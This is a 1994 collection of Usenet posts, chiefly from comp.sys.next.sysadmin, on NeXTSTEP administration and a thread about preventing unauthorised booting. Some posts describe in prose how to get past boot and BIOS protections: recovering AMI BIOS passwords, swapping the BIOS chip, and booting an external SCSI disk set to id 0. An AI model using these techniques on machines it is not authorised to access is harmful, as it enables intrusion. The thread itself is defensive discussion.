NeXT Computer Inc.
900 Chesapeake Drive
Redwood City, CA 94063
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--
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The University of Houston * suggestions@tree.egr.uh.edu (NeXT
Engineering Computing Center * comments, complaints, questions)
NeXT System Administration * DoD#1967 '83 NightHawk 650SC
>>> SSI Diving Certification #755020059 <<<
"Programming is like sex: One mistake and you support it a lifetime."
From: Charlesa@learned.co.uk
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NetInfo, NIload & /etc/services
Date: Wed, 16 Mar 94 16:28:18 BST
Organization: EUnet GB
Message-ID: <2m7cbf$2lm@marble.Britain.EU.net>
References: <2m742u$3ah@rs18.hrz.th-darmstadt.de>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In article <2m742u$3ah@rs18.hrz.th-darmstadt.de>,
> > I just did an niload -v services > /etc/services, and all seemed to go
> ^^^
> niload -v services . < /etc/services ???
Typo when typing in usenet. I realized that after I posted it; my mistake.
I also got all things working properly - a corrupted /etc/services. tftp on
udp/69, not ftp. I also had to restart after resetting it.
Thanks,
C.
From: ccx009@rowan.coventry.ac.uk (Adam Bentley)
Newsgroups: comp.mail.sendmail,comp.sys.next.sysadmin
Subject: Sendmail .8.67 + NextStep 3.0 (Black H/W)
Followup-To: poster
Date: 16 Mar 1994 15:32:18 -0000
Organization: Coventry University
Message-ID: <2m78q2$8gp@rowan.coventry.ac.uk>
I have a next which forwards all non local mail to our mailhub (hermes)
for processing. This seems to work. The next is called rook.....
Enter <ruleset> <address>
> 0 who
rewrite: ruleset 0 input: who
rewrite: ruleset 98 input: who
rewrite: ruleset 98 returns: who
rewrite: ruleset 0 returns: $# local $: who
>
> 0 who@rook
rewrite: ruleset 0 input: who @ rook
rewrite: ruleset 98 input: who @ rook
rewrite: ruleset 98 returns: who @ rook
rewrite: ruleset 97 input: who @ rook
rewrite: ruleset 3 input: who @ rook
rewrite: ruleset 96 input: who < @ rook >
rewrite: ruleset 96 returns: who < @ rook . coventry . ac . uk . >
rewrite: ruleset 3 returns: who < @ rook . coventry . ac . uk . >
rewrite: ruleset 0 input: who < @ rook . coventry . ac . uk . >
rewrite: ruleset 98 input: who < @ rook . coventry . ac . uk . >
rewrite: ruleset 98 returns: who < @ rook . coventry . ac . uk . >
rewrite: ruleset 0 returns: $# local $: @ who
rewrite: ruleset 97 returns: $# local $: @ who
rewrite: ruleset 0 returns: $# local $: @ who
>
> 0 who@rowan
rewrite: ruleset 0 input: who @ rowan
rewrite: ruleset 98 input: who @ rowan
rewrite: ruleset 98 returns: who @ rowan
rewrite: ruleset 97 input: who @ rowan
rewrite: ruleset 3 input: who @ rowan
rewrite: ruleset 96 input: who < @ rowan >
rewrite: ruleset 96 returns: who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 3 returns: who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 0 input: who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 98 input: who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 98 returns: who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 95 input: < hermes > who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 95 returns: $# relay $@ hermes $: \
who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 0 returns: $# relay $@ hermes $: \
who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 97 returns: $# relay $@ hermes $: \
who < @ rowan . coventry . ac . uk . >
rewrite: ruleset 0 returns: $# relay $@ hermes $: \
who < @ rowan . coventry . ac . uk . >
Now. if I try and telnet to port 25 and perform a vrfy on any user on
rook (the next) I always get the same response......
$ telnet rook 25
Trying 10.19.1.6...
Connected to rook.
Escape character is '^]'.
220-rook Sendmail 8.6.7/8.6.6 ready at Wed, 16 Mar 1994 15:23:50 GMT
220 ESMTP spoken here
vrfy me
250 <me@hermes>
but if i use the address me@rook i get
vrfy me@rook
250 My Account <me@rook>
the correct response.
in fact I can type in aynthing and get a 250 response....
vrfy foo@bar
250 <foo@bar>
what am I doing wrong!
thanks for any help
--
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/-\dam
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FLESH: Adam Bentley (Fraggle), Systems/Networking, Coventry University. UK
INET : A.Bentley@hermes.coventry.ac.uk
Newsgroups: comp.sys.next.sysadmin
From: Neil Greene <neil@kynug.org>
Subject: Re: Root access from a non-NeXT remote host
Message-ID: <1994Mar16.153243.7303@KYnug.org>
Sender: neil@KYnug.org (Neil Greene)
Organization: Kentucky NEXTSTEP User Group, Inc.
References: <2m40ad$3gu@pilhuhn.pilhuhn.sub.org>
Date: Wed, 16 Mar 1994 15:32:43 GMT
In article <2m40ad$3gu@pilhuhn.pilhuhn.sub.org> jr@sade.ka.sub.org (Jochen
Richter) writes:
> I try to get root access from a HP-UX machine on my NeXT. Without
success. Even
> after modifying /etc/hosts.equiv and /.rhosts. I am especially trying to
> perform a rdump from the HP to the DAT attached to my NeXT.
> Any help very much appreciated.
If you are trying to execute remote commands via rsh from the HP to the
NeXT, make sure the file .rhosts is not group or world readable. This
will cause permission errors if so.
If you still have problems, drop me some more details and chances are
there is a simple solution.
--
Neil Greene
benchMark Developments, Inc. [NeXT VAR]
2040 Regency Road, Suite C Lexington, KY 40503
Phone: 606-231-6599 / Fax: 606-254-4864
Newsgroups: comp.sys.next.sysadmin
From: jspears@weston.com (Wes Spears)
Subject: What is /private/vm/swapfile.front
Message-ID: <1994Mar16.001626.258@weston.com>
Sender: jspears@weston.com (Wes Spears)
Date: Wed, 16 Mar 1994 00:16:26 GMT
What is the /private/vm/swapfile.font file? What does it do, and why is
it on my machine?
Thanks for all comments.
Wes
--
Wes Spears <-------> jspears@weston.com (NeXTMail Welcome)
The Weston Group (UUCP and SENDMAIL Consultation)
8524 Highway 6 North, 162, Houston, TX 77095
From: kelly@shogun.nersc.gov
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Mail.app
Date: 16 Mar 1994 19:37:05 GMT
Organization: National Energy Research Supercomputer Center
Distribution: usa
Message-ID: <2m7n51$rcr@cronkite.nersc.gov>
My Mail.app seems to be busted. It will not move mail from my
spool file to the Mail.app. Also the routine
kelly 243 52.5 1.6 3.61M 464K ? R N 8:32
/NextApps/Mail.app/MailFetch /usr/spool/mail/kelly kelly
FetchPort_kelly_08017
is running like crazy, grinding on my disk, but nothing is happening.
This all started when my disked filled up because some user tried
to send a 190 Mbyte file and it got bounced, and the mail got sent
to me as postmaster.
Does anyone have any ideas on what is wrong witht the Mail.app?
--
Bruce Kelly L-561, P O Box 5509, Livermore, CA, 94551
kelly@nersc.gov National Energy Research Supercomputer Center
510-423-0640 Lawrence Livermore National Laboratory
Fax: 510-422-0435 University of California
Newsgroups: comp.sys.next.sysadmin
From: olson@dalek.mcs.anl.gov (Bob Olson)
Subject: Re: -NXHost danger (Re: Shadow Passwords)
Message-ID: <7636495189962@dalek.mcs.anl.gov>
Sender: usenet@mcs.anl.gov
Organization: Math and Computer Science, Argonne National Laboratory
References: <2m0bhv$qpp@sgate.com> <2m0ldv$3h0@rosie.next.com>
Date: Mon, 14 Mar 1994 12:51:58 GMT
In article <2m0ldv$3h0@rosie.next.com>, Marc Majka <majka@next.com> wrote:
>tempest in a teapot. What you can do is turn off access to the buttons in
>Preferences (with discourage_public_servers), then write your own
>front-end to dwrite. You could do it in a tiny C program containing:
Unfortunately this doesn't help, as it is trivial to DPSPrintf to the
window server the one line of postscript that turns on PWS.
--bob
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: cpio and symlinks
References: <2m25dr$f1s@enst.enst.fr>
Organization: German NeXT User Group, Oldenburg.
Date: Wed, 16 Mar 1994 08:10:58 GMT
Message-ID: <1994Mar16.081058.796@proximus.north.de>
In article <2m25dr$f1s@enst.enst.fr>,
Philippe-Andre Prindeville <philipp@res.enst.fr> wrote:
>
>Does anyone have a version of cpio compiled and running on
>(white) NS 3.2 that handles symlinks? I make my backups
>using cpio (no, really) and not having cpio is a real bummer.
Yes.
I use afio, which does handle symlinks and multiple volumes.
gcpio does handle symlinks as well, but cannot handle multiple volumes on
devs without EOM detection. (In afio you just tell it the length of the
tape...) Also afio supports many other nice features. afio is cpio
compatible.
Then there is pax, which can hanlde cpio and tar volumes, but I don't use it
anymore.
All programs are on the archives, if you have trouble finding them, just
drop me a mail, I can NeXTmail (or uuencode) you the sources.
PS: I have them compiled for black h/w, but there should be no problem
compiling them on white h/w.
Gerhard.
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From: reeves@eugenia.phy.Vanderbilt.Edu (Terry W. Reeves)
Subject: Problem with configuring NeXT Step 3.0 for fast modem
Message-ID: <1994Mar16.194904.17868@news.vanderbilt.edu>
Keywords: getty gettytab ttys init
Sender: news@news.vanderbilt.edu
Organization: Vanderbilt University
Date: Wed, 16 Mar 1994 19:49:04 GMT
I just got a new pair of USRobotics Sportster modems. I have one hooked
into the NeXTStation Turbo running NeXTStep 3.0 at work and one connected
to my Atari ST at home for remote login. I finally added enough extra
lines to /etc/ttys and /etc/gettytab so that I can login at 38400 baud.
I, however, still have two problems. They may or may not be related.
1) Emacs doesn't deal with the screen correctly. It works fine if I make a
network connection from a modem on a LAT. The terminal information from
stty and termcap all looks the same. To say the least, I am mystified.
Using telnet or tn3270 both work just fine with connections both ways.
2) When connecting over the modem connected to the NeXT Station, the first
level of tcsh (version 6.03) is not seen by ps unless I ask for
everything. It is seen if I use the modems connected to the LAT.
As I said, I don't know if the problems are closely related, but I would
really appreciate any help that you might could give me.
Terry W. Reeves
Disclaimer: I do not speak for Vanderbilt University in any official or
unofficial capacity.
From: vqueved@nssnext.calstatela.edu (Victor Quevedo)
Newsgroups: comp.sys.next.sysadmin
Subject: Character based Gopher (client/server)
Date: 16 Mar 1994 21:19:18 GMT
Organization: Information Resources and Technology
Message-ID: <2m7t4m$jt9@nic-nac.CSU.net>
Is there a Compiled version of Character based "Gopher (client/server)" on
any of the ftp sites?
Victor R. Quevedo
vqueved@nssnext.calstateale.edu
NeXTMail Welcome
From: anstine@uniblab.sas.upenn.edu
Newsgroups: comp.sys.next.sysadmin
Subject: rpc.lockd anyone?
Date: 16 Mar 1994 22:20:42 GMT
Organization: University of Pennsylvania
Message-ID: <2m80nq$lb@netnews.upenn.edu>
Anyone running rpc.lockd? How would this affect a cluster of machines
sharing /LocalApps, /LocalLibrary, /Users, etc...
-dave
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: One Solution [was: Re: ** Security Hole ** Can't restrict boot options on NS Intel]
Date: 16 Mar 1994 22:59:37 GMT
Organization: NeXT, Inc.
Message-ID: <2m830p$82m@rosie.next.com>
References: <2m7bbj$ata@menudo.uh.edu>
Paul Stewart asked about hardware security for a NEXTSTEP system. Thanks
to Paul Sears for giving me a plug about a the article I wrote about
security in NEXTSTEP IN FOCUS, and for posting the source for a little
program that helps prevent people from gaining root access by booting in
single-user mode. Unfortunately, this doesn't entirely solve Paul
Stewart's problem. Let me restate it:
If a user can boot a computer from their own disk (be it a floppy, a SCSI
disk, or whatever), then what's to prevent them from gaining substantial
priviledges on my network?
Note that I say "substantial priviledges", not "root access", since you
can button down the rest of your network fairly well. Nevertheless, if an
evil person can boot from their own disk (or even connect their own
computer to your network and boot that!) then there is nothing to prevent
them from (a) gaining root access to that computer and any hardware
attached to that computer, and (b) from being able to create user accounts
with arbitrary UIDs and then use those accounts to gain further
unauthorized access.
Please note also that this is not a problem for NEXTSTEP alone. This is a
networking issue. The exact same problem is true of most any other UNIX
system, and probably true for other operating systems as well.
The ever-increasingly networked world is gradually discovering these
issues. Security systems that address some problems are available, and
more are being created. However, it's not a perfect world yet. What can
you do now? If you are concerned about hardware security, then do
whatever you can to make the hardware secure:
- I believe that the BIOS on some systems can be hardware-password
protected, and that you can prevent booting from floppy. Look for good
security in your computer's ROMs, and encourage your hardware vendors to
be aware of security issues.
- Buy case locks for your hardware that will prevent people from plugging
in their own disks or opening the system. Once someone can open a system,
all security bets are off!
- Stay aware of security issues! Buy a book - "Practical UNIX Security"
by Garfinkel and Spafford (O'Reilly & assoc) is my favorite. Read
articles in comp.security. Organize a security SIG for your user's group.
--
Marc Majka
From: sherwood@fenris.space.ualberta.ca (Sherwood Botsford)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Date: 17 Mar 1994 00:16:19 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2m87gj$hu3@quartz.ucs.ualberta.ca>
References: <scratch.763800276@arcturus.sce.carleton.ca> <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
Actually, with physical access to the machine, few boxen are secure. The
ability to shut down the box, (unplug it!) and open the chassis makes it
vulnerable to all sorts of things.
Security is layered:
At the bottom is self protection. Keep users from doing something
stupid to the system that would inconvenience themselves and others.
Next up is protection from eachother. Keep users from interfering with
other users accounts. Keep them from casually reading stuff that the
other person would want private.
Next up is a whole raft of denial of service type events, where one
person can overutilize a scarse resource.
Then there is network security. If someone can access your wire he can
'see' the traffic. If this is a concern then you have to move data in
encrypted forms.
Sometimes you have data that where it is better than no-one have it
rather than the wrong person have it. Then you have to encrypt it on
the disk too.
Physical access allows people to boot your machine with whatever
operating system they wish -- assuming that they are smart enough to
bring the appropriate disk with them.
RS 6000's come close, with their lockable case, and ability to lock and
leave the keyboard detached. However a good design for unix boxes would
have the following features:
1. The box can be locked so that it cannot be opened without serious
force that at least makes it obvious that it was locked. Better: There
are continuity strips build into the box lineing so that if the box is
forced open, something is broken, and the power supply promptly burns
out it's own fuse.
2. The key, in addition to operating a physical lock, has the following
settings:
Off, ExtB, IntB, NoB,
Where ExtB allows booting from an external device. This switch
possition is the only one that would allow single user booting. (This can be
accomplished by using a separate controller for external devices, or by
making the controller have two separate cables.)
IntB only allows booting off the internal drives. This is the
normal postion that the machine is left in. It allows the machine to
reboot automatically if the power fails, or if it crashes.
NoB means that if the machine goes down for any reason, it stays
down.
Off, of course, means that the powersupply is shut off.
For this to be effective, minor changes in the boot proms would
need to be made. I don't think that this would be difficult even for a
dos box.
This leaves you vulnerable to people with lock picks, but if they are
clever enough to open the lock, then they can manually replace the boot
disk. Which brings us to item 3.
3. Hardware passwords.
This has two stages. You create a password. It's encrypted
using some feature of the boot disk. (Perhaps the manufacturers defect
table) So if the disk is substituted it will know, and fail to boot.
This prevents booting from a floppy. Which can be inconvenient
for the administrator.
So how about this: The hardware allows the administrator to
enter sets of passwords. One to allow a boot, then a matching one for
the particular media used. Some form of this is encrypted on the media.
For this, the administrator has to create a password when he creates the
boot media. This prevents a casual person's boot disk from being able
to reboot the machine.
All this wouldn't prevent someone from bringing in their own machine,
and substituting it on your net. -- Unless other machines recognize the
new ethernet address, and fuss.
--
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=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
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From: scratch@arcturus.sce.carleton.ca (Craig Scratchley)
Subject: Re: ** Security Hole ** Can't restrict boot options on NS Intel
Message-ID: <scratch.763865283@arcturus.sce.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <scratch.763800276@arcturus.sce.carleton.ca> <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
Date: Thu, 17 Mar 1994 00:48:03 GMT
stewart@hibp7.ecse.rpi.edu (Paul Stewart) writes:
>> [ Text deleted. I orginally wrote the following paragraph. ]
>> The reason is as follows. When the machine is rebooted, a
>> NeXTSTEP boot prompt appears which allows anybody to reboot the
>> machine from a device other than the default device (an internal
>> IDE disk). For example, somebody might put in an installation
>> diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
>> hard-disk and just plug it in.
>It may be possible that my comment might be considered callous, but:
>Welcome to the world of Intel hardware. There is absolutely no
>guarantee that you can prevent physical access to your system. This
>is primarily due to the fact that the security can't start anywhere
>except in software, because there is no "hardware password", etc
>present in Intel hardware. I'd suppose the closest you could get
>would be to enable your handy dandy keyboard lock.
I believe you are incorrect about the lack of "hardware
passwords" on intel hardware. For example:
The 386 computer in my lab with American Megatrends Intl. (AMI)
BIOS has a password for the BIOS setup program (in which one can
specify to boot off of the hard disk first).
The 486 computer with AMI BIOS is the same.
In fact, I don't know of any '486 computers without some sort of
"hardware password". In any case, an organization concerned about
security can certainly buy a computer with a "hardware password".
>> I can think of two (easy and fast) solutions to the problem,
>> however I am not a security genius and so my solutions may not be
>> perfect.
>>
>> 1) Provide an alternate boot program that does not prompt for
>> boot options.
>Still no use. You can always boot from floppy. At that point, your
>machine doesn't know what NeXTSTEP is, or what boot program it should
>be running. Again, this _has_ to be in hardware, and the nature of
>your hardware defies this.
Again not true. I believe that booting from floppy can be
disabled on most '486 Computers. For example, on my EISA bus
Intel Professional/GX workstation, I can set booting from hard disk only.
>> 2) Provide a boot program that can store a boot password (on the
>> disk) which is required for boot options.
>Again, there's no reason why someone can't choose to boot from
>somewhere else. A quick trip through your CMOS settings (or whatever)
>will change where you boot from, and from there, your perpetrator has
>all the access he wants to your other partitions. DOS is friendly
>that way.
As mentioned above, the CMOS settings can be protected by password.
>> I could write the first option myself if I was given the present
>> source code.
>>
>> Note that with option 1, if the system administrator wanted to
>> boot off of a non-default device, he could use the Intel
>> Workstation hardware password and reconfigure the workstation to
>> boot first off of a floppy disk. Then he could use the NeXTSTEP
>> floppy disk, giving him some flexibility.
>If we wanted to get truly engrossed, what's to prevent someone from
>simply attaching his/her own device at the SCSI address (IDE ID?) that
>your drive was, and mount your drive as a secondary partition?
Computers like the Intel Professional/GX workstation have carefully designed
cases, which can be locked with a padlock (as mine is). Someone would have
to break the case to switch the IDE drives. A broken case would alert me
to the fact that someone might have violated the system. I can live with
that. Again, organizations concerned with security have the option of
buying computers with a secure case. They no longer have the option of
buying NeXT computers with password protection at the boot prompt.
>> Note: if what I have described above is not a security hole,
>> please explain to me how it is not.
>It is a hole. However there isn't a fail-safe solution to this
>problem, due to the nature of the hardware. It is possible that I am
>in error, as your mention of "Intel Workstation hardware password"
>might be an integral part to a possible partial solution, however that
>would only apply to your particular hardware.
Most hardware, I believe. Please inform me if otherwise.
>--
>Paul
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From: scratch@arcturus.sce.carleton.ca (Craig Scratchley)
Subject: Re: One Solution [was: Re: ** Security Hole ** Can't restrict boot options on NS Intel]
Message-ID: <scratch.763867552@arcturus.sce.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Carleton University
References: <STEWART.94Mar16065837@hibp7.ecse.rpi.edu> <2m7bbj$ata@menudo.uh.edu>
Date: Thu, 17 Mar 1994 01:25:52 GMT
sears@uh.edu (Paul S. Sears) writes:
>In article <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
>stewart@hibp7.ecse.rpi.edu (Paul Stewart) writes:
>#> [ Text deleted. Craig Scatchley wrote the following paragraph. ]
>#> The reason is as follows. When the machine is rebooted, a
>#> NeXTSTEP boot prompt appears which allows anybody to reboot the
>#> machine from a device other than the default device (an internal
>#> IDE disk). For example, somebody might put in an installation
>#> diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
>#> hard-disk and just plug it in.
>This article provides one possible solution for the problem. It is
>available from nextanswers@next.com (subject: index). The article is
>SecureSingleUser_Readme.rtf. I have encluded all relevant pieces in the
>uuencoded file attached to this message:
>ENHACING SINGLE USER MODE SECURITY
>The ability to boot a UNIX system in single-user mode is a security concern,
>since single-user mode provides a root shell without requiring a password.
>A solution is to force the user to supply a password before /bin/sh starts
>in single user mode. You can accomplish this by running a password checking
>program in the shell's startup file for root, /.profile.
Thank-you for posting this followup, but this idea stops a non-priviledged
person from booting off of the default device in single-user mode. It
does not stop anybody from booting off their own media in any mode.
Craig Scratchley
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Subject: Re: ** Security Hole **
From: tim.romano@dscmail.com (Tim Romano)
Distribution: world
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References: <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
Date: Wed, 16 Mar 94 17:56:00 -0640
Organization: DSC/Voicenet * Ivyland, PA * (215) 443-9434
In reply to message sent at 05:18 on 03-16-94
Subject: Re: ** Security Hole ** C
> There is absolutely no
>guarantee that you can prevent physical access to your system. This
>is primarily due to the fact that the security can't start anywhere
>except in software, because there is no "hardware password", etc
>present in Intel hardware. I'd suppose the closest you could get
>would be to enable your handy dandy keyboard lock.
This statement is not quite true. If security is one of your main
concerns, get one of the machines with security on the BIOS, e.g. from
AST. Before the machine will begin the OS bootstrap, you must enter a
password.
Tim Romano TEL: (610) 543-2222
Swarthmore Pennsylvania EMAIL: tim.romano@dscmail.com
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From: cwi@wag.ch (Christoph Widmer)
Subject: amd Automounter
Message-ID: <CMsr2y.2FA@wag.ch>
Sender: usenet@wag.ch
Organization: workstation ag, Rohrstr. 36/38, CH-8152 Glattbrugg, Switzerland
Date: Thu, 17 Mar 1994 06:52:10 GMT
I want to use the AMD automounter on a NeXT. Does anyone has
some experience with it. What do I have to change, that it
works with NetInfo ?
Christoph Widmer
cwi@wag.ch
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From: mdw@sitar.jazz.att.com (Mark Wuest)
Subject: Big Security Hole!
Message-ID: <CMtApz.M5E@cbfsb.cb.att.com>
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Organization: AT&T Bell Laboratories
Date: Thu, 17 Mar 1994 13:56:23 GMT
Sorry to be redundant, but if you killed Marc Majka's post on security:
Re: One Solution [was: Re: ** Security Hole ** Can't restrict boot options on NS Intel]
GO BACK AND READ IT NOW
Some of the comments I've read regarding NS/FIP "security holes" betray utter
cluelessness (no flame intended) about the security holes inherent in the way
the world currently does networking. Marc's article addressed some of it in a
neat and concise way, IMHO. Physical security is the only true security.
'Ever wonder why I can't telnet into my workstation at work from the 'Net?
(Of course not - you just found this out. ;-)
Why no machine at AT&T that *is* connected to the Internet is allowed to be
connected to our corporate internet? They're not just trying to be difficult
*or* paranoid - the risks are real and big (and Real Big ;-).
Mark
--
Mark Wuest
mdw@sitar.jazz.att.com (NeXT Mail Ok)
From: IFF118@DJUKFA11.BITNET
Newsgroups: comp.sys.next.sysadmin
Subject: mail-receiving problem
Message-ID: <94076.153911IFF118@DJUKFA11.BITNET>
Date: 17 Mar 94 14:39:11 GMT
Organization: Forschungszentrum Juelich
Hi
we have plugged our little NeXT-Network into internet. It works fine.
We could send mail, but we can t receive mail. Example: A friend sends
mail from compuserve and after a while he got it back from the NeXT-
Mail-Agent. It looks like the mail reached our NeXT-Network but the
Mail-Agent refused to receive it.
Anyone knows help?
Kurt Westphal
From: sams@nbivax.nbi.dk
Newsgroups: comp.sys.next.sysadmin
Subject: QMS 420 printer, ppd file, xon/xoff <--> rts/cts
Message-ID: <1994Mar16.183510.1561@nbivax.nbi.dk>
Date: 16 Mar 94 18:35:10 +0100
Organization: Niels Bohr Institute and Nordita, Copenhagen
How do I get a ppd file for a QMS 420 600 dpi printer?
Has anybody tried it. How do I get the printer to run at 19200 baud? It
says 9600 on the test page, - but in manual max is said to be 19200.
Should I run xon/xoff or rts/cts with this printer?
Thanks in advance
Thomas Sams
From: sears@uh.edu (Paul S. Sears)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: One Solution [was: Re: ** Security Hole ** Can't restrict boot options on NS Intel]
Date: 17 Mar 1994 15:59:36 GMT
Organization: University of Houston
Message-ID: <2m9up8$887@menudo.uh.edu>
References: <scratch.763867552@arcturus.sce.carleton.ca>
In article <scratch.763867552@arcturus.sce.carleton.ca>
scratch@arcturus.sce.carleton.ca (Craig Scratchley) writes:
#sears@uh.edu (Paul S. Sears) writes:
#
#>In article <STEWART.94Mar16065837@hibp7.ecse.rpi.edu>
#>stewart@hibp7.ecse.rpi.edu (Paul Stewart) writes:
#
#>#> [ Text deleted. Craig Scatchley wrote the following paragraph. ]
#
#>#> The reason is as follows. When the machine is rebooted, a
#>#> NeXTSTEP boot prompt appears which allows anybody to reboot the
#>#> machine from a device other than the default device (an internal
#>#> IDE disk). For example, somebody might put in an installation
#>#> diskette and NeXTSTEP CD-ROM, or might walk in with a SCSI
#>#> hard-disk and just plug it in.
#
#>This article provides one possible solution for the problem. It is
#>available from nextanswers@next.com (subject: index). The article is
#>SecureSingleUser_Readme.rtf. I have encluded all relevant pieces in the
#>uuencoded file attached to this message:
#
#
#>ENHACING SINGLE USER MODE SECURITY
#
#>The ability to boot a UNIX system in single-user mode is a security
concern,
#>since single-user mode provides a root shell without requiring a password.
#>A solution is to force the user to supply a password before /bin/sh starts
#>in single user mode. You can accomplish this by running a password
checking
#>program in the shell's startup file for root, /.profile.
#
#Thank-you for posting this followup, but this idea stops a non-priviledged
#person from booting off of the default device in single-user mode. It
#does not stop anybody from booting off their own media in any mode.
#
Yes, this is correct. However, I felt that my previous post addresses a
closely related concern that is just as important. It is also likely that
many did not read or know about Mark's article on securing single-user boot
and I felt that it is important information to share with the NEXTSTEP
community.
Secondly, there really should not be any difference between a
non-priviledged and priviledged user on a _client_. However, this is harder
to impliment than to state. In the cluster I manage, only one client is
completely trusted by the servers (my workstation) for administrative
purposes. The other 90+ clients mount all served filesystemes read-only &
no-suid, except for the User space which is only no-suid. If a user
"breaks" into a client, there is minimal damage that can be done to the
servers and the rest of the cluster except that the user can access other
users' data (which we attempt to address by other means). Of course,
someone can still sniff the net and snarf plaintext passwords, but that is
another issue...
Basically, the lack of hardware security in a single-user computer is the
problem. Being able to boot single-user or booting off any media are
results of the single-user design issue. In general, PC vendors do not want
to complicate matters for their already confused consumers by adding
hardware passwords, bootable sources and a password protected BIOS...
How is booting off any other media source different on the PC than on the
NeXT workstations? We all know that the default SCSI id for the internal
disk is set to 1 (well, we do now :-). Make a bootable external SCSI disk
and set its id to 0. Since the lowest SCSI id is assigned to /dev/(r)sd0a,
the external becomes the boot drive... Plug it in and boot. The hardware
password doesn't even prevent this because as far as the NMI monitor is
concerned, you are booting from the drive specified in the parameters
(usually just sd). We are back to square one again...
And btw, to all those that claim that the AMI BIOS provides adequate
password protection, think again. Just get a copy of the AMI Setup disk and
it can recover your BIOS password. So much for that form of protection.
And if I want to get into the machine bad enough, I just open the case, pop
out the BIOS (almost always in a socket), put in my spare AMI BIOS that
doesn't have the password set, and boot... Or, if I have a flash BIOS, I
can just reprogram the BIOS with my FLASH disk.
Regrettfully, as noted, there is not any way to make a computer completely
"secure" unlesss you lock it in a closet and never turn it on :-)
# Craig Scratchley
#--
#W. Craig Scratchley | internet:
scratch@sce.carleton.ca
#Dept. of Systems and Computer Engineering | phone: (613) 788-5740
(Dept.)
#Carleton University | (613) 241-6952
(Home)
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Subject: Network buffers?
Message-ID: <S.A.MCINTYRE.94Mar17170837@shrug.dur.ac.uk>
From: "Scott A. McIntyre" <S.A.McIntyre@durham.ac.uk>
Date: 17 Mar 1994 17:08:37 GMT
Distribution: world
Organization: I speak for myself
My machine crashed; had to reboot in the unpleasant manner of using the
mini monitor with a full fsck...the only trace I could find of what
happened was:
Mar 17 16:02:10 shrug mach: enrx: no network buffers
Mar 17 16:03:58 shrug last message repeated 468 times
Mar 17 16:04:00 shrug mach: enrx: no network buffers
What does it mean?
Scott
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From: storti@memac70.engin.umich.edu (Duane Storti)
Newsgroups: comp.sys.next.sysadmin
Subject: Help with Startup Trouble
Date: 17 Mar 1994 17:26:42 GMT
Organization: University of Michigan EECS Dept.
Message-ID: <2ma3si$e8v@zip.eecs.umich.edu>
Help! For the past couple days I have been experiencing some serious trouble
with startup on my NeXTDimension system which results in pathetically slow
performance, and I would greatly appreciate any assistance in overcoming these
difficulties.
I first noticed the problem when I tried to Newsgraze, but the newsserver was
offline, so I killed Newsgrazer. This hung my system, which was no surprise
since it has happenned before. In the past, rebooting always restored normal
function, but now trouble persists. The rebooting process takes >30 minutes
including a long session with a non-spinning disk icon and the "Starting Local
Services" message and then a period with a blank gray screen. When I finally
get to log in, it can take several minutes to open an app or to just change
directories in the browser. The situation is intolerable, so I booted to single
user mode and ran fsck which came up clean. Then I booted to multi-user mode
from the single-user monitor in order to observe the startup process. The only
ominous looking message which appeared was "autonfsmount: Can't find my
address." I thought this might indicate a corrupted /etc/hostconfig file, so I
recreated a new one which did not help at all.
At this point I am stumped and begging for help. Any bright ideas or
suggestions are appreciated, and any kind sole who would care to telephone me
at 313-764-9414 with help would be especially welcome since reading the usenet
and transmitting e-mail are tenuous operations at the moment.
Desperately yours,
Duane
_______________________________________________________________
Duane Storti
storti@liapunov.eecs.umich.edu
Newsgroups: comp.sys.next.sysadmin
From: gerti@tms-gmbh.de (Gerd Knops)
Subject: Re: 5.25 Floppy with NeXTStep 3.2
Message-ID: <CMtBI0.xL@tms-gmbh.de>
Sender: usenet@tms-gmbh.de
Organization: tms GmbH, Regensburg, Germany
References: <2m5p6s$dfp@nic-nac.CSU.net>
Date: Thu, 17 Mar 1994 14:13:11 GMT
Ignoring this warning, I have a 5.25" Floppy as Drive 'B', and so far it
didn't cause any trouble.
Gerd
In article <2m5p6s$dfp@nic-nac.CSU.net> vqueved@nssnext.calstatela.edu
(Victor Quevedo) writes:
> Is there any way to access the 5.25" (1.2MB) Floppy using NS/I?
>
> I have a dual boot machine (NeXTSTEP/DOS) and would like to be able to
> access the 5.25" drive from the DOS end without having to
> disable/disconnect enable/disable it. I remeber that NS/I tells you to
> disconnect the 5.25" drive before you install it.
>
> Is there a device driver for the 5.25" on the NS/I end?
>
> Victor R. Quevedo
> vqueved@nssnext.calstateale.edu
> NeXTMail Welcome
From: storti@memac70.engin.umich.edu (Duane Storti)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Help with Startup Trouble
Date: 17 Mar 1994 17:58:40 GMT
Organization: University of Michigan EECS Dept.
Message-ID: <2ma5og$f12@zip.eecs.umich.edu>
References: <2ma3si$e8v@zip.eecs.umich.edu>
Sorry to bother you all again, but please cancel my S.O.S. Perservering through
the boot process and Newsgrazing to my usual newsserver (which is now up again)
seemed to correct the problem. I still don't understand what exactly got
screwed up, but the situation is no longer urgent.
Please excuse the wasted bandwidth.
In article <2ma3si$e8v@zip.eecs.umich.edu> storti@memac70.engin.umich.edu
(Duane Storti) writes:
>Help! For the past couple days I have been experiencing some serious trouble
